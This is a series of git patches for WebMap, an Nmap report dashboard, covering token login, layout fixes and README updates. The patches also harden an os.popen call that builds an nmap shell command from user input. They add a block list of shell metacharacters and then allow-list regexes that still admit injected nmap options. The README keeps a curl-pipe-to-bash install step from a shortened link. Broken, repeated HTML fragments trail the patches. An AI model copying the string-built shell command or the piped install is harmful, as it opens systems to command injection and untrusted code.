From 9383e50570e204b911be025f35e43e0223378abc Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Sun, 16 Dec 2018 23:42:59 +0000 Subject: [PATCH 58/77] fix token script --- token.py | 2 ++ 1 file changed, 2 insertions(+) mode change 100644 => 100755 token.py diff --git a/token.py b/token.py old mode 100644 new mode 100755 index 72b3ea0..2c41f24 --- a/token.py +++ b/token.py @@ -1,3 +1,5 @@ +#!/usr/bin/env python3 + import string, hashlib from random import * allchar = string.ascii_letters + string.digits From eb7bf647e2bb509be23a83879a356f8d5d15f0f6 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Mon, 17 Dec 2018 00:05:39 +0000 Subject: [PATCH 59/77] fix login page --- templates/nmapreport/nmap_auth.html | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/templates/nmapreport/nmap_auth.html b/templates/nmapreport/nmap_auth.html index 7c49135..178765a 100644 --- a/templates/nmapreport/nmap_auth.html +++ b/templates/nmapreport/nmap_auth.html @@ -3,11 +3,12 @@ {% block content %}

Token

+ Generate a new token with:
docker exec -ti webmap /root/token

@@ -29,6 +30,8 @@ }).done(function(d) { if(d['auth'] == 'ok') { location.href='/'; + } else { + swal("Error", "Invalid token", "error") } }); } From 9b46f6a1ff22b4484eecea9bd98bceca84c42e24 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Mon, 17 Dec 2018 00:15:29 +0000 Subject: [PATCH 60/77] fix auth in api --- api.py | 4 ++-- functions.py | 6 ++++++ views.py | 6 ------ 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/api.py b/api.py index af9b35e..980e651 100644 --- a/api.py +++ b/api.py @@ -76,8 +76,8 @@ def label(request, objtype, label, hashstr): def port_details(request, address, portid): r = {} - if token_check(request.GET['token']) is not True: - return HttpResponse(json.dumps({'error':'invalid token'}, indent=4), content_type="application/json") + if 'auth' not in request.session: + return False oo = xmltodict.parse(open('/opt/xml/'+request.session['scanfile'], 'r').read()) r['out'] = json.dumps(oo['nmaprun'], indent=4) diff --git a/functions.py b/functions.py index 210b467..022bfe5 100644 --- a/functions.py +++ b/functions.py @@ -1,5 +1,11 @@ import xmltodict, json, html, os, hashlib, re, urllib.parse, base64 +def token_check(token): + tokenhash = open('/root/token.sha256').read().strip() + if tokenhash == hashlib.sha256(token.encode('utf-8')).hexdigest(): + return True + return False + def labelToMargin(label): labels = { 'Vulnerable':'10px', diff --git a/views.py b/views.py index 505961c..630ba8d 100644 --- a/views.py +++ b/views.py @@ -4,12 +4,6 @@ from collections import OrderedDict from nmapreport.functions import * -def token_check(token): - tokenhash = open('/root/token.sha256').read().strip() - if tokenhash == hashlib.sha256(token.encode('utf-8')).hexdigest(): - return True - return False - def login(request): r = {} From 9add82f4cf2d38f2a1c3d653b7032427ddf8bd83 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Mon, 17 Dec 2018 01:14:27 +0000 Subject: [PATCH 61/77] fix missing host in hostdetail --- templates/nmapreport/nmap_hostdetails.html | 13 +++++++++---- views.py | 21 ++++++++++----------- 2 files changed, 19 insertions(+), 15 deletions(-) diff --git a/templates/nmapreport/nmap_hostdetails.html b/templates/nmapreport/nmap_hostdetails.html index eee3785..c2a38d9 100644 --- a/templates/nmapreport/nmap_hostdetails.html +++ b/templates/nmapreport/nmap_hostdetails.html @@ -81,11 +81,16 @@

{{ v.newlabelout|safe }} -

{{ v.hostname|safe }} - {{ v.po }} - {{ v.pc }} - {{ v.pf }} + {% if v.po != 0 or v.pc != 0 or v.pf != 0 %} +

{{ v.hostname|safe }} + {% else %} +

{{ v.hostname|safe }} + {% endif %} + + {{ v.po }} + {{ v.pc }} + {{ v.pf }}

diff --git a/views.py b/views.py index 630ba8d..f856b19 100644 --- a/views.py +++ b/views.py @@ -474,18 +474,17 @@ def index(request, filterservice="", filterportid=""): if address not in cpe: hostsup = (hostsup + 1) - cpe[address] = {} - - r['tr'][address] = { - 'hostindex': '1', - 'hostname': hostname, - 'po': 0, - 'pc': 0, - 'pf': 0, - 'totports': str(0), - 'addressmd5': addressmd5 - } + r['tr'][address] = { + 'hostindex': '1', + 'hostname': hostname, + 'po': 0, + 'pc': 0, + 'pf': 0, + 'totports': str(0), + 'addressmd5': addressmd5 + } + cpe[address] = {} striggered = False e = '' From 5223ba52ea8b7899dee792c9d369b7952117f33d Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Mon, 17 Dec 2018 09:20:56 +0000 Subject: [PATCH 62/77] update readme --- README.md | 20 +++++++++++++++----- 1 file changed, 15 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 71b2302..0baa9d4 100644 --- a/README.md +++ b/README.md @@ -3,9 +3,10 @@ A Web Dashbord for Nmap XML Report

-![WebMap](https://i.imgur.com/BOZVc8e.png) - -![WebMap](https://i.imgur.com/33kpQ0J.png) +

+
## Table Of Contents - [Usage](#usage) @@ -38,6 +39,12 @@ $ nmap -sT -A -T4 -oX /tmp/webmap/myscan.xml 192.168.1.0/24 ``` Now point your browser to http://localhost:8000 +### Generate new token +In order to access to the WebMap dashboard, you need a token. You can create a new token with: +````bash +$ docker exec -ti webmap /root/token +``` + ### Quick and Dirty ```bash $ curl -sL http://bit.ly/webmapsetup | bash @@ -65,7 +72,10 @@ but if you need it you can find all building steps inside the [Dockerfile](https ## Video The HTML template changes often. This video could not be up to date with the latest version. -HackerSploit Video about WebMap:
+Version v2.3:
+coming soon...
+
+HackerSploit Video about WebMap v2.2:
[![HackerSploit](https://img.youtube.com/vi/SoEIDNnOCGY/0.jpg)](https://www.youtube.com/watch?v=SoEIDNnOCGY)
Official Video of v2.1:
@@ -89,7 +99,7 @@ You love WebMap and you know python? We need your help! This is what we want dep - [todo] Improve template: try to define better the html template and charts - [todo] Improve API: create a documentation/wiki about it - [todo] Wiki: create WebMap User Guide on GitHub -- [todo] Authentication or something that could blocks access to WebMap if != localhost +- [working] Authentication or something that could blocks access to WebMap if != localhost - [working] Scan diff: show difference between two scheduled nmap scan report - [todo] Zaproxy: Perform web scan using the OWASP ZAP API From 20720863e90f5674f01ecf82e166365d97333c99 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Mon, 17 Dec 2018 09:22:12 +0000 Subject: [PATCH 63/77] update readme --- README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/README.md b/README.md index 0baa9d4..30c313d 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,6 @@ A Web Dashbord for Nmap XML Report - [Usage](#usage) - [Video](#video) - [Features](#features) -- [Changes on v2.1](#changes-on-v21) - [PDF Report](#pdf-report) - [XML Filenames](#xml-filenames) - [CVE and Exploits](#cve-and-exploits) @@ -41,7 +40,7 @@ Now point your browser to http://localhost:8000 ### Generate new token In order to access to the WebMap dashboard, you need a token. You can create a new token with: -````bash +```bash $ docker exec -ti webmap /root/token ``` From 780a55813efe2c34e1378f902fd4fcd1f4bab48b Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Mon, 17 Dec 2018 09:24:51 +0000 Subject: [PATCH 64/77] update readme --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 30c313d..2d3e327 100644 --- a/README.md +++ b/README.md @@ -140,7 +140,7 @@ Not all CPE are checked over the circl.lu API, but only when a specific version From `v2.1` WebMap has a RESTful API frontend that makes users able to query their scan files with something like: ```bash -curl -s 'http://localhost:8000/api/v1/scan' +curl -s 'http://localhost:8000/api/v1/scan?token=' "webmap_version": "v2.1/master", "scans": { @@ -171,7 +171,7 @@ curl -s 'http://localhost:8000/api/v1/scan' A user can get information about a single scan by append to the URL the XML filename: ```bash -curl -v 'http://localhost:8000/api/v1/scan/hackthebox.xml' +curl -v 'http://localhost:8000/api/v1/scan/hackthebox.xml?token=' { "file": "hackthebox.xml", @@ -204,7 +204,7 @@ curl -v 'http://localhost:8000/api/v1/scan/hackthebox.xml' and he can get all information about a single host by append the IP address to URL: ```bash -curl -v 'http://localhost:8000/api/v1/scan/hackthebox.xml/10.10.10.87' +curl -v 'http://localhost:8000/api/v1/scan/hackthebox.xml/10.10.10.87?token=' "file": "hackthebox.xml", "hosts": { From a54f390a7630a230bc51135a961d80f01bd92568 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Mon, 17 Dec 2018 09:27:59 +0000 Subject: [PATCH 65/77] fix dockerfile --- docker/Dockerfile | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/docker/Dockerfile b/docker/Dockerfile index daf5ba0..33311cc 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -31,7 +31,7 @@ RUN mkdir /opt/xml && mkdir /opt/notes && \ RUN pip3 install Django requests xmltodict && \ cd /opt/ && django-admin startproject nmapdashboard && cd /opt/nmapdashboard && \ git clone https://github.com/Rev3rseSecurity/WebMap.git nmapreport && \ - cd nmapreport && git checkout v2.2/master + cd nmapreport && git checkout v2.3/master COPY settings.py /opt/nmapdashboard/nmapdashboard/ COPY urls.py /opt/nmapdashboard/nmapdashboard/ @@ -40,6 +40,8 @@ COPY tzdata.sh /root/tzdata.sh COPY startup.sh /startup.sh RUN cd /opt/nmapdashboard && python3 manage.py migrate +RUN apt-get autoremove -y +RUN ln -s /opt/nmapdashboard/nmapreport/token.py /root/token EXPOSE 8000 From 5ee7ad21a33de870f4d4f3695a16157d0561f21b Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Mon, 17 Dec 2018 19:27:07 +0000 Subject: [PATCH 66/77] fix filter port/service --- views.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/views.py b/views.py index f856b19..b711604 100644 --- a/views.py +++ b/views.py @@ -475,7 +475,7 @@ def index(request, filterservice="", filterportid=""): hostsup = (hostsup + 1) r['tr'][address] = { - 'hostindex': '1', + 'hostindex': '', 'hostname': hostname, 'po': 0, 'pc': 0, @@ -656,6 +656,13 @@ def index(request, filterservice="", filterportid=""): # this fix single host report if type(ik) is not dict: break; + else: + if address in r['tr']: + del r['tr'][address] + else: + if address in r['tr']: + del r['tr'][address] + totports = (ports['open']+ports['closed']+ports['filtered']) if filterservice == "" and filterportid == "": From dddf7ea16abe630ccc0a209599b9ea79a6e3d6b2 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Mon, 17 Dec 2018 23:27:43 +0000 Subject: [PATCH 67/77] fix scaninfo issue #49 --- pdf.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/pdf.py b/pdf.py index 37dae36..c66732c 100644 --- a/pdf.py +++ b/pdf.py @@ -285,19 +285,19 @@ def reportPDFView(request): scantitle = m.group(1).replace('.xml','').replace('_',' ') scantype = '' - if '@type' in o['scaninfo']: + if 'scaninfo' in o and '@type' in o['scaninfo']: scantype = o['scaninfo']['@type'] - if type(o['scaninfo']) is list: + if 'scaninfo' in o and type(o['scaninfo']) is list: for sinfo in o['scaninfo']: scantype += sinfo['@type']+', ' scantype = scantype[0:-2] protocol = '' - if '@protocol' in o['scaninfo']: + if 'scaninfo' in o and '@protocol' in o['scaninfo']: protocol = o['scaninfo']['@protocol'] - if type(o['scaninfo']) is list: + if 'scaninfo' in o and type(o['scaninfo']) is list: for sinfo in o['scaninfo']: protocol += sinfo['@protocol']+', ' protocol = protocol[0:-2] From 11e064e232513d4d4d535e872d5d5cd662ae3508 Mon Sep 17 00:00:00 2001 From: Romeo Mungiu Date: Thu, 20 Dec 2018 04:19:38 +0100 Subject: [PATCH 68/77] Update nmap_newscan(request) added input validation on params and target to prevent arbitrary code execution on the popen funzion --- functions_nmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/functions_nmap.py b/functions_nmap.py index 16c06ff..14b41ea 100644 --- a/functions_nmap.py +++ b/functions_nmap.py @@ -38,7 +38,7 @@ def nmap_scaninfo(request): def nmap_newscan(request): if request.method == "POST": - if(re.search('^[a-zA-Z0-9\_\-\.]+$', request.POST['filename'])): + if(re.search('^[a-zA-Z0-9\_\-\.]+$', request.POST['filename']) and not (re.search('[\||\;|\&}]', request.POST['params']) or re.search('[\||\;|\&}]', request.POST['target']))): res = {'p':request.POST} os.popen('nmap '+request.POST['params']+' --script='+settings.BASE_DIR+'/nmapreport/nmap/nse/ -oX /tmp/'+request.POST['filename']+'.active '+request.POST['target']+' > /dev/null 2>&1 && '+ 'sleep 10 && mv /tmp/'+request.POST['filename']+'.active /opt/xml/'+request.POST['filename']+' &') From d8d0ec701e8f47154ae897e05bcbde862e1aed7d Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 20 Dec 2018 11:07:17 +0000 Subject: [PATCH 69/77] improve regex filters pr #62 --- functions_nmap.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/functions_nmap.py b/functions_nmap.py index 14b41ea..8531265 100644 --- a/functions_nmap.py +++ b/functions_nmap.py @@ -38,7 +38,7 @@ def nmap_scaninfo(request): def nmap_newscan(request): if request.method == "POST": - if(re.search('^[a-zA-Z0-9\_\-\.]+$', request.POST['filename']) and not (re.search('[\||\;|\&}]', request.POST['params']) or re.search('[\||\;|\&}]', request.POST['target']))): + if(re.search('^[a-zA-Z0-9\_\-\.]+$', request.POST['filename']) and re.search('^[a-zA-Z0-9\-\.\:\=\s]+$', request.POST['params']) and re.search('^[a-zA-Z0-9\-\.\:]+$', request.POST['target'])): res = {'p':request.POST} os.popen('nmap '+request.POST['params']+' --script='+settings.BASE_DIR+'/nmapreport/nmap/nse/ -oX /tmp/'+request.POST['filename']+'.active '+request.POST['target']+' > /dev/null 2>&1 && '+ 'sleep 10 && mv /tmp/'+request.POST['filename']+'.active /opt/xml/'+request.POST['filename']+' &') @@ -51,3 +51,6 @@ def nmap_newscan(request): file.write(json.dumps(schedobj, indent=4)) return HttpResponse(json.dumps(res, indent=4), content_type="application/json") + else: + res = {'error':'invalid syntax'} + return HttpResponse(json.dumps(res, indent=4), content_type="application/json") From fffe95eb488221de3afb200fcec68b7bf6f5b82b Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 20 Dec 2018 11:10:42 +0000 Subject: [PATCH 70/77] add error message for invalid syntax --- static/async.js | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/static/async.js b/static/async.js index 9105719..268666f 100644 --- a/static/async.js +++ b/static/async.js @@ -193,7 +193,6 @@ function newscan() { function startscan() { $('#modal1').modal('close'); - swal("Started", "Your new Nmap scan is running...", "success"); csrftoken = $('input[name="csrfmiddlewaretoken"]').val(); $.post('/api/v1/nmap/scan/new', { 'csrfmiddlewaretoken': csrftoken, @@ -203,7 +202,11 @@ function startscan() { 'schedule': $('#schedule').prop('checked'), 'frequency': $('#frequency').val(), }).done(function(d) { - console.log(d); + if(typeof(d['error']) != 'undefined') { + swal("Error", "Invalid syntax or disallowed characters", "error"); + } else { + swal("Started", "Your new Nmap scan is running...", "success"); + } }); } From d077449d8d8cc105b20e7a100fdfe1fc7f424fe0 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 20 Dec 2018 11:35:08 +0000 Subject: [PATCH 71/77] update readme, add contributors --- CONTRIBUTORS.md | 5 +++++ README.md | 14 +++++++------- 2 files changed, 12 insertions(+), 7 deletions(-) create mode 100644 CONTRIBUTORS.md diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md new file mode 100644 index 0000000..3d5016e --- /dev/null +++ b/CONTRIBUTORS.md @@ -0,0 +1,5 @@ +## CONTRIBUTORS + +- [theMiddle](https://github.com/theMiddleBlue) +- [rom3ocrash](https://github.com/rom3ocrash) + - #62 diff --git a/README.md b/README.md index 2d3e327..4602e1b 100644 --- a/README.md +++ b/README.md @@ -3,11 +3,6 @@ A Web Dashbord for Nmap XML Report

-
- ## Table Of Contents - [Usage](#usage) - [Video](#video) @@ -22,6 +17,11 @@ A Web Dashbord for Nmap XML Report - [Contributors](#contributors) - [Contacts](#contacts) +

+
+ ## Usage You should use this with docker, just by sending this command: ```bash @@ -285,14 +285,14 @@ curl -v 'http://localhost:8000/api/v1/scan/hackthebox.xml/10.10.10.87?token= From ec1dd72c374cc622673396aefff0ea28a3606560 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 20 Dec 2018 11:36:03 +0000 Subject: [PATCH 72/77] update readme, add contributors --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4602e1b..8740b7d 100644 --- a/README.md +++ b/README.md @@ -292,7 +292,7 @@ informations about your port scan. Please, be smart. ## Contributors This project is currently a beta, and I'm not super skilled on Django so, every type of contribution is appreciated. -I'll mention all contributors on the [CONTRIBUTORS](blob/v2.3/master/CONTRIBUTORS.md) file. +I'll mention all contributors on the [CONTRIBUTORS](CONTRIBUTORS.md) file. ## Contacts In order to receive updates about this project, please follow me on twitter:
From f65ad97f3131c7a415784881ddaf0bc520f42809 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 20 Dec 2018 11:37:17 +0000 Subject: [PATCH 73/77] update readme, add contributors --- CONTRIBUTORS.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md index 3d5016e..3650bf6 100644 --- a/CONTRIBUTORS.md +++ b/CONTRIBUTORS.md @@ -2,4 +2,4 @@ - [theMiddle](https://github.com/theMiddleBlue) - [rom3ocrash](https://github.com/rom3ocrash) - - #62 + - [#62](https://github.com/Rev3rseSecurity/WebMap/pull/62) From d9f1f40d3950357319cb002f3ba9060ec1ea32c7 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 20 Dec 2018 11:40:30 +0000 Subject: [PATCH 74/77] update readme, add contributors --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 8740b7d..63c705e 100644 --- a/README.md +++ b/README.md @@ -17,6 +17,8 @@ A Web Dashbord for Nmap XML Report - [Contributors](#contributors) - [Contacts](#contacts) + +## Screenshot

From 1dd272b70f75d4402e60e3c76a4ae9f0a0c4146f Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 20 Dec 2018 17:25:51 +0000 Subject: [PATCH 75/77] add allowed chars on params and target --- functions_nmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/functions_nmap.py b/functions_nmap.py index 8531265..ed6ea1e 100644 --- a/functions_nmap.py +++ b/functions_nmap.py @@ -38,7 +38,7 @@ def nmap_scaninfo(request): def nmap_newscan(request): if request.method == "POST": - if(re.search('^[a-zA-Z0-9\_\-\.]+$', request.POST['filename']) and re.search('^[a-zA-Z0-9\-\.\:\=\s]+$', request.POST['params']) and re.search('^[a-zA-Z0-9\-\.\:]+$', request.POST['target'])): + if(re.search('^[a-zA-Z0-9\_\-\.]+$', request.POST['filename']) and re.search('^[a-zA-Z0-9\-\.\:\=\s,]+$', request.POST['params']) and re.search('^[a-zA-Z0-9\-\.\:\/\s]+$', request.POST['target'])): res = {'p':request.POST} os.popen('nmap '+request.POST['params']+' --script='+settings.BASE_DIR+'/nmapreport/nmap/nse/ -oX /tmp/'+request.POST['filename']+'.active '+request.POST['target']+' > /dev/null 2>&1 && '+ 'sleep 10 && mv /tmp/'+request.POST['filename']+'.active /opt/xml/'+request.POST['filename']+' &') From bb974121f9bef281271fa9dce3dd444919ab90f7 Mon Sep 17 00:00:00 2001 From: Jerry Gamblin Date: Fri, 21 Dec 2018 07:22:30 -0600 Subject: [PATCH 76/77] Update async.js Fixed small grammar error. --- static/async.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/static/async.js b/static/async.js index 268666f..b5c5bdb 100644 --- a/static/async.js +++ b/static/async.js @@ -161,7 +161,7 @@ function newscan() { '

'+ '

'+ - ' Filename:
Name of the Nmap XML file. This name must has the .xml extension.
Allowed chars: [a-zA-Z0-9], _, - and .

'+ + ' Filename:
Name of the Nmap XML file. This name must have the .xml extension.
Allowed chars: [a-zA-Z0-9], _, - and .

'+ ' Target:
This could be the target IP address or hostname

'+ ' Parameters:
Nmap parameters, more information at https://nmap.org/book/man-briefoptions.html'+ '

'+ From f011ed70fdb4e458bf7ea1273dfc9c4bd4d4d17a Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 21 Dec 2018 14:22:10 +0000 Subject: [PATCH 77/77] add @jgamblin --- CONTRIBUTORS.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md index 3650bf6..c19206e 100644 --- a/CONTRIBUTORS.md +++ b/CONTRIBUTORS.md @@ -3,3 +3,5 @@ - [theMiddle](https://github.com/theMiddleBlue) - [rom3ocrash](https://github.com/rom3ocrash) - [#62](https://github.com/Rev3rseSecurity/WebMap/pull/62) +- [Jerry Gamblin](https://github.com/jgamblin) + - [#69](https://github.com/Rev3rseSecurity/WebMap/pull/69)

CVE List for '+saddress+':

Notes

Table of contents

'+html.escape(saddress)+' '+labelout+'

'+html.escape(saddress)+' '+labelout+'

Notes for host '+saddress+'

Notes for host '+saddress+'

CVE List for '+saddress+':

CVE List for '+saddress+':

{{ stats.hostsup }}

{{ stats.popen }}

{{ stats.pclosed }}

{{ stats.pfiltered }}

{{ hostname|safe }}

'+html.escape(address)+'

{{ i }}

Port Scan Report

{{ i }}

{{ hostname|safe }}

Frequency:

{{ i }}

{{ i }}

{{ i }}

CVE List for '+saddress+':

Notes

Table of contents

'+html.escape(saddress)+' '+labelout+'

'+html.escape(saddress)+' '+labelout+'

Notes for host '+saddress+'

Notes for host '+saddress+'

CVE List for '+saddress+':

CVE List for '+saddress+':

un titolo

un titolo

{{ stats.hostsup }}

{{ stats.popen }}

{{ stats.pclosed }}

{{ stats.pfiltered }}

{{ hostname|safe }}

'+html.escape(address)+'

{{ i }}

Port Scan Report

{{ i }}

{{ hostname|safe }}

Frequency:

{{ i }}

{{ i }}

{{ i }}